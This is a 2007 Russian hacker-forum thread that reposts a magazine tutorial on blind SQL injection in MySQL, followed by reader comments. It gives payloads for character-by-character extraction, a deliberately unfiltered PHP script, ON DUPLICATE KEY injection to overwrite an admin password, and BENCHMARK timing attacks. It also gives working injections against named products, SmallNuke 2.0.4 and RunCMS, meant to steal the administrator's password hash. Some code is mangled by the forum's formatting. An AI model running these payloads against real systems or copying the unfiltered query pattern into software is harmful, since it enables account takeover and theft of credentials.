Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Эффективные Слепые Иньекции (https://forum.antichat.xyz/showthread.php?t=56221)

Евгений Минаев 20.12.2007 00:52

Эффективные Слепые Иньекции
 

----[ MYSQL CHAR BRUTEFORCING ... under0x77ater ]

"Когда я это писал меня постояно будили - мать твою , я же творю ..."


Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом
получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов,
будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет
устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно
проделать перебор и получить требуемую информацию.
Публикация из журнала "Хакер" за декабрь 2007 год

Евгений Минаев 20.12.2007 00:53

----[ NITRO ... ]

Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом
получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов,
будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет
устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно
проделать перебор и получить требуемую информацию.

----[ FUNCTIONS ... ]


ASCII(STRING) - Возвращает числовое значение первого символа строки STRING или ноль в случае,если строка является пустой.
Работает в диапазоне от 0 до 2555.

PHP код:

mysql SELECT ASCII(1)     -> 49 

PHP код:

mysql SELECT ASCII('1')     -> 49 

PHP код:

mysql SELECT ASCII('a')     -> 97 

PHP код:

mysql SELECT ASCII('aa')     -> 97 

ORD(STRING) - Возвращает код первого символа строки STRING , вычисленного из числовых значений байтов,из которых он состоит.
Если же левый символ не многобайтный,работает как и функция ASCII.

(код 1 байта * 256) + (код 2 байта * 256^2) + (код 3 байта * 256^3)

PHP код:

mysql SELECT ORD(1)         -> 49 

PHP код:

mysql SELECT ORD('1')     -> 49 

PHP код:

mysql SELECT ORD('a')     -> 97 

PHP код:

mysql SELECT ORD('aa')     -> 97 

BETWEEN MIN AND MAX - Если выражение больше или равно MIN и меньше или равно MAX , то BETWEEN() возвратит 1 , иначе 0.
Если все элементы имеет один тип (например,числовой),то запрос сводится к выражению MIN <= QUERY AND QUERY <= MAX.До MySQL
4.0.5 в случае неоднотипных данных шло приведение к типу запроса.

PHP код:

mysql SELECT 5 BETWEEN  1  AND  6  -> 

PHP код:

mysql SELECT 5 BETWEEN '1' AND '6' -> 

PHP код:

mysql SELECT 5 BETWEEN  1  AND  4  -> 

PHP код:

mysql SELECT 5 BETWEEN '1' AND '4' -> 

IN(VALUE1,VALUE2) - Вощвращает 1 , если запрос равен одному из значений в IN(),в противном случае mysql вернет 0.Если все
значения - константы,они обрабатываются в соответствии с типом запроса и сортируются с использованием бинарного дерева.То есть
запрос выполнится быстро если все переменные однотипны.Значения регистрозависимы.

PHP код:

mysql SELECT 1 IN (2,3,4,5,1)   -> 

PHP код:

mysql SELECT 1 IN (2,3,4,5,'1') -> 

PHP код:

mysql SELECT 1 IN (2,3,4,5,0)   -> 

PHP код:

mysql SELECT 1 IN (2,3,4,5,'0') -> 

LOWER(STRING) - Возвращает строку STRING в которой все символы приведены к нижнему регистру в соответсвии с текущим набором
символов (по умолчанию ISO-8859-1 LATIN1)

PHP код:

mysql SELECT LOWER('ITDEFENCE') -> itdefence 

PHP код:

mysql SELECT LOWER('ITDEFeNCE') -> itdefence 

PHP код:

mysql SELECT LOWER('itdefence') -> itdefence 

PHP код:

mysql SELECT LOWER(123)         -> 123 

SUBSTRING(STRING,POSITION,LENGTH) - Функцию копирует подстроку из строки STRING с позиции POSITION длины LENGTH

PHP код:

mysql SELECT SUBSTRING('itdefence',4)      -> efence 

PHP код:

mysql SELECT SUBSTRING('itdefence' FROM 4) -> efence 

PHP код:

mysql SELECT SUBSTRING('itdefence',4,2)    -> ef 

PHP код:

mysql SELECT SUBSTRING('itdefence',1,2)      -> it 

SUBSTRING_INDEX(STRING,DELIMITER,LENGTH) - Возвращает подстроку строки STRING до позиции LENGTH после разделителя DELIMITER.
Если значение LENGTH положительное,возвращаетс все,что лежит слева от DELIMITER.Если значение LENGTH отрицательное,возвращаетс все,
что лежит справа от разделителя DELIMITER.

PHP код:

mysql SELECT SUBSTRING_INDEX('itdefence.ru''.' ,2) -> itdefence.ru 

PHP код:

mysql SELECT SUBSTRING_INDEX('itdefence.ru','.',-1)  -> ru 

PHP код:

mysql SELECT SUBSTRING_INDEX('itdefence.ru','.',1)   -> itdefence 


Евгений Минаев 20.12.2007 00:54

----[ EXAMPLE ... ]

Для примера создадим таблицу USERS с полями id username password

PHP код:

mysql CREATE TABLE `users` (
    `
idint(11NOT NULL default '0',
    `
usernamevarchar(15NOT NULL default '',
    `
passwordvarchar(32NOT NULL default ''
    
ENGINE=MyISAM DEFAULT CHARSET=cp1251

И внесем для теста оду запись 1,itdefence,itdefence

PHP код:

mysql INSERT INTO `users` ( `id` , `username` , `password` ) VALUES '1''itdefence''itdefence' ); 

И напишем скрипт со специально сделанной уязвимостью

PHP код:

<?php
    
    $sqlhost     
'localhost';
    
$sqlpass     '';
    
$sqluser     'root';
    
$sqlname    'itdefence';
    
    
$mysql_link mysql_connect($sqlhost,$sqluser,$sqlpass);
    if (!
$mysql_link) die (mysql_error());
    
    
$result mysql_select_db($sqlname);
    if (!
$result) die (mysql_error());
    
    
$query 'SELECT * FROM `users` WHERE `id`=\''.$_GET['id'].'\'';
    
$result mysql_query($query);
    if (!
$result) die (mysql_error());
    
    echo 
mysql_num_rows($result);
    
mysql_close($mysql_link);
    
    
?>

----[ SUBQUERIES ... ]

Для примера я буду рассматривать MySQL > 4.1 так как с этой версии поддерживаются все формы подзапросов,которых требует стандарт
SQL.Подзапрос можно вкладывать в другой подзапрос и его надо обрамлять скобами

PHP код:

mysql SELECT FROM `usersWHERE `id`  = (SELECT MAX(IDFROM `users`) 

PHP код:

mysql SELECT FROM `usersWHERE `id`  =  ANY SELECT MAX(idFROM `users`) 

PHP код:

mysql SELECT FROM `usersWHERE (1,1) = ( SELECT `id`,`usernameFROM `users` ) 

В процессе могут встречаться следующие ошибки , как :

неподдерживаемый синтаксис ошибок
PHP код:

mysql SELECT FROM `usersWHERE `idIN SELECT `idFROM `usersORDER BY `idLIMIT 1)
    -> 
#1235 - This version of MySQL doesn't yet support 'LIMIT & IN/ALL/ANY/SOME subquery' 

число столбцов в подзапросе неверное
PHP код:

mysql SELECT SELECT  `id`,`usernameFROM `users`) FROM `users`
    -> 
#1241 - Operand should contain 1 column(s) 

неверное количество строк в поздапросе
PHP код:

mysql SELECT `idFROM `usersWHERE `id` = ( SELECT id FROM `users` )
    -> 
#1242 - Subquery returns more than 1 row 

Ошибка в подзапросе приводит к нарушению всего запроса.Для более ранних версий можно запросы с подзапросами заменить более
легкими конструкциями

PHP код:

mysql SELECT DISTINCT users.* FROM `usersWHERE users.id 

PHP код:

mysql SELECT users.* FROM users LEFT JOIN banned ON users.id banned.id WHERE banned.id IS NOT NULL 


Евгений Минаев 20.12.2007 00:59

----[ LETS DO IT ... ]

Когда мы уже знакомы с синтаксисом подзапросов и описанием нужных функций перейдем к делу.Вернемся к нашему скрипту и
внимательно взглянув на запрос,видим что отсутствует фильтрация входящего параметра id.Для проверки подставим одинарную
ковычку,чтобы нарушить структуру запроса и привести его к неправильному виду.

PHP код:

mysql SELECT FROM `usersWHERE `id`='''
    -> '
You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 

Мы можем самостоятельно завершить запрос , подставив ковычку и знак комментария.Изначально в mysql поддерживалось только три
типа комментариев , многострочные /* */ , однострочный # и для совместимости с языком SQL однострочный -- , после которого
обязательно должен идти пробел либо символ перевода строки.Я буду использовать -- , выбор особого значения это не имеет ,
скорее это дело привычки.

PHP код:

mysql SELECT FROM `usersWHERE `id`='0'-- -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='1'-- -> 

Так как вывода данных кроме как результата обработки мы не имеем , будем делать перебор каждого символа строки с
его ascii кодом.

PHP код:

mysql SELECT FROM `usersWHERE `id`='0' or ascii(1)=49--  -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='0' or ascii(1)=40--  -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(1)=49-- -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(1)=48-- -> 

AND надо использовать в том случае,если первое условие запроса вернет какой либо результат,иначе запрос прервется
еще не дойдя до второго нужного нам условия,а OR если первое условие нашего запроса не возвращает результата.
Каким способом мы будем сравнивать тоже имеет значение,запрос с однотипными данными займет куда меньше времени
нежели сервер будет сам приводить оба к единому типу.

PHP код:

mysql SELECT 1 1     -> 

PHP код:

mysql SELECT 7 '6x'    -> 

PHP код:

mysql SELECT 7 'x6' -> 

PHP код:

mysql SELECT 0 'x6' -> 

Возможные типы сравнения в mysql : равенство = , безопасное с точки зрения сравнения с NULL равенство <=> , неравенство <> !=
, меньше и больше < > , меньше или равно и больше или равно <= => соответствено и сравнению с NULL IS NULL , IS NOT NULL.
Для перебора нам надо будет копировать каждый символ строки с помощью функции SUBSTRING , сравнивая его сначала с нулем ,
а затем с набором ascii кодов для нужного типа данных.Узнать такой код можно например с помощью php функции ORD().
Перейдем к практике и вернемся к нашему примеру.В таблице `users` поле password содержит данные в md5 шифровании,что часто
встречается в различных cms и форумах.Это несколько облегчит нашу задача,так как используя функцию lower() и известный набор
символов мы быстро получим результат.Как известно,md5 хеш может состоять только из цифр от единицы до девяти и буквы a,b,c,d,e,f.
Используя навыки обращения с ascii() и substring() составим запрос с подзапросом-выборкой пароля.

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))>0-- -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))<0-- -> 

При больших обьемах перебора будет рационально другой метод сравнения путем использования IN или NOT IN.

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(1,2,4,5)--  -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(51,52,53)-- -> 

У этого метода по скорости выигрывает BETWEEN , так как выполняется в меньше кол-во тактов.

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 1 and 5--    -> 

PHP код:

mysql SELECT FROM `usersWHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 51 and 55--     -> 

То есть вся наша работа сводится к заданию промежутка оптимального количества кодов и если результат положителен,сравнивание
с каждым кодом из диапазона.

Как я уже сказал,вся универсальность метода заключается в том,что он будет работать независимо от оператора,будь то SELECT,
INSERT,UPDATE,DO,DELETE или SET.На всякий случай покажу пример с INSERT.Модифицируем наш запрос до вида,специально оставив
переменную id нефильтруемой.
PHP код:

$query 'INSERT INTO `users` (id,username,password) VALUES (\''.$_GET['id'].'\',\'example\',\''.md5('example').'\');'

В таком случае наш запрос принимает вид , в случае которого при неудачном условии нам вернется сообщение с ошибкой
Subquery returns more than 1 row,так как выполнится условие 1=select 1 union select 2 что является недопустимым синтаксисом
для mysql.

PHP код:

mysql >  INSERT INTO `users` (id,username,passwordVALUES ('1','example',1=if(ascii(1)=48,1,(select 1 union select 2)))/* -> 0 

PHP код:

mysql >  INSERT INTO `users` (id,username,passwordVALUES ('1','example',1=if(ascii(1)=49,1,(select 1 union select 2)))/* -> 1 


Евгений Минаев 20.12.2007 01:01

----[ ON DUPLICATE ... ]

Начиная с mysql 4.1 , если при вставки данных с уже существующим первично указанным ключом то можно воспользоваться конструкцией
ON DUPLICATE KEY , которая при выполнении условия выполнит запрос на уже существующую колонку , аналогичный UPDATE`у.
Допустим , мы имеем иньекцию в регистрации пользователя в поле username

PHP код:

mysql SHOW CREATE TABLE `users`
    ->
CREATE TABLE `users` (
    `
namevarchar(60NOT NULL default '',
    `
passwordvarchar(32NOT NULL default '',
    `
emailvarchar(60NOT NULL default '',
    `
joindateint(10unsigned NOT NULL default '0',
    
PRIMARY KEY (`name`)
    ) 
ENGINE=MyISAM DEFAULT CHARSET=utf8

PHP код:

mysql INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' 'evgeniy@minaev.ru' '12.12.2007')
    -> 
Добавлены ряды(Запрос занял 0.0004 сек

Теперь внедняем иньекцию в поле name , изменим пароль администратора underwater

PHP код:

mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','antichat' 'hack@ed.ru' 'spielberg')-- 
    
','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
    -> #1062 - Duplicate entry '
underwhater' for key 1 

PHP код:

mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' 'evgeniy@minaev.ru' '12.12.2007'
    
ON DUPLICATE KEY UPDATE `name`='evgeniy',`password`='mafia'-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007')
    -> Добавлены ряды: 2 (Запрос занял 0.0005 сек) 

В итоге имеем администратора evgeniy а не underwater с собственным паролем.Также мы можем апдейтить другие таблицы , допустим

PHP код:

mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES 'underwhater','testeng' 'evgeniy@minaev.ru' '12.12.2007'
    
ON DUPLICATE KEY UPDATE table2.admin_pass 'underWHAT?!' 

----[ BENCHMARK ... ]

Использовать benchmark для анализа запросов нужно только в тех случаях , когда вариант с подзапросами не дает результатов.Впервые этот
метод описал 1dt.w0lf , а затем широко раскрыл Elekt в своем мануале по benchmark-иньекциям.Используя if конструкцию мы можем заставить
mysql производить какие то действия в случае правильного запроса и замеряя время ответа от сервера судить правильность запроса. Время ,
которое при этом затрачивает mysql есть время потраченное на клиента , а не потраченное центральным процессором , поэтому рекоммендуется
выполнять BENCHMARK() несколько раз чтобы убедиться в правильности заданного условия в зависимости от нагрузки процессора.

Benchmark сильно загружает процессор и поэтому выполнять его стоит только при правильном запросе , так как кол-во правильных куда меньше
чем неудачных попыток перебора , да и время работы оставляет желать лучшего - на работу эксплоита может уйти больше часа.Также следует
настроить параметр , отвечающий за кол-во выполняемых действия , так как для каждого сервера он скорей всего будет разным.

PHP код:

mysql SELECT `passFROM `usersWHERE `login` = '' or = if (ascii(1)=49,1,benchmark(999999,md5('test')))-- 
    -> 
Запрос занял 0.0004 сек 

PHP код:

mysql SELECT `passFROM `usersWHERE `login` = '' or = if (ascii(1)=48,1,benchmark(999999,md5('test')))-- 
    -> 
Запрос занял 3.6821 сек 

----[ SHKODING ... ]

С методом мы определились , перейдем к програмной реализации и сразу рассмотрим для примера продукт SmallNuke
( www.smallnuke.com ).На момент написания статьи последней версией была 2.0.4.В файле modules/members/lost_pass.php
можно легко обнаружить BLIND SQL INJECTION, при высылке забытого пароля.

PHP код:

$username trim (strip_tags ($_POST['username']));
    
$user_email trim (strip_tags ($_POST['user_email']));

    if ((
$username != "") AND ($user_email == "")) {
    
$where_dat "username = '$username'";
    } elseif ((
$username == "") AND ($user_email != "")) {
    
$where_dat "user_email = '$user_email'";
    } elseif ((
$username != "") AND ($user_email != "")) {
    
$where_dat "username = '$username' AND user_email = '$user_email'";
    } elseif ((
$username == "") AND ($user_email == "")) {
    
header ("Location: index.php?go=Members&in=lost_pass");
    exit;
    }

    
$sql "SELECT * FROM ".SN_MEMBERS_TABLE." WHERE $where_dat"

Нас вполне устроит подстановка иньекции в поле user_email,поэксперементируем с запросами.Подставляем значение ' and ascii(1)=48/*
для поля для указания e-mailа пользователя и видим редирект на страницу с указанием ошибки.Запрос принимает
такой вид.

PHP код:

mysql SELECT FROM `usersWHERE user_email '' and ascii(1)=48/* 

Изменим значение ascii(1) на 49 и при подстановке измененного запроса увидим сообщение об успешной отправки нового пароля на емейл
пользователя.Нас такой вариант с перестановкой пароля не устраивает поэтому мы вытащим посимвольным перебором хеш админа.

PHP код:

mysql -> 123' or ascii(substring((select password from sn_admins where admin_id=1),1,1))=49/* 

Таже ситуация и с запросом DELETE , на примере runcms это выглядит так . При получении айпи адреса проверяется лишь заголовок
X-FORWARDED-FOR , однако CLIENT-IP хоть и не проверяется но учитывается.

PHP код:

runcms/class/core.php   130:    if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 

PHP код:

runcms/class/core.php   135:    elseif (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 

m
PHP код:

odules\newbb_plus\class\class.whosonline.php (32):    
    
$sql "DELETE FROM ".$bbTable['whosonline']." where timestamp<".(time()-300 OR     user_ip='"._REMOTE_ADDR."'"; 

После некоторых манипуляций запрос принимает окончательный вид . Главное условие - существование в таблицы хоть одной сессии ,
иначе наш подзапрос не выполнится.

PHP код:

mysql -> 123' or 1=if(ascii(substring((select pass from users where uid=1),1,1))=49,0,(select 1 union select 5))/*"); 

Использование lower сократит время перебора , но его стоит использовать только в случае если регистр данных в таблице не имеет значения ,
обычно так и оно и есть - пароли в большинстве случаев хранятся в md5 и при переборе хеша регистр символом не учитывается.

http://underwater.itdefence.ru/blog/mysql_char.txt

Alexsize 20.12.2007 10:01

Тема More 1 Row не раскрыта.

Spyder 20.12.2007 12:32

написанное баян, но в тоже время будет слишком сложно для средне статистичесского читателя журнала хакер. им нужны статьи как ковычку поставить чтобы инторнет похэнкоть

Chib@ 20.12.2007 12:43

Цитата:

написанное баян, но в тоже время будет слишком сложно для средне статистичесского читателя журнала хакер. им нужны статьи как ковычку поставить чтобы инторнет похэнкоть
Полностью согласен!
Статейка "не для всех...." больше половину юзеров просто ничего не поймут....я и сам с трудом чуть разобрался))

spider-intruder 20.12.2007 12:59

БОЯН - но оформлено то как красиво :) +1 за старания (если конечно еще кого то эти плюсы интересуют)

[Raz0r] 23.01.2008 22:09

Применение конструкции вида INSERT ... ON DUPLICATE KEY UPDATE ... очень ограниченное и на практике использование подобного запроса крайне затруднительно. Например если мы имеем инъекцию после VALUES в таблице, где колонка PRIMARY KEY является auto_increment, то UPDATE после ON DUPLICATE KEY разумеется в естественных условиях никогда не выполнится. То есть нужно иметь инъекцию до VALUES - в названии колонок для инсерта


Время: 13:50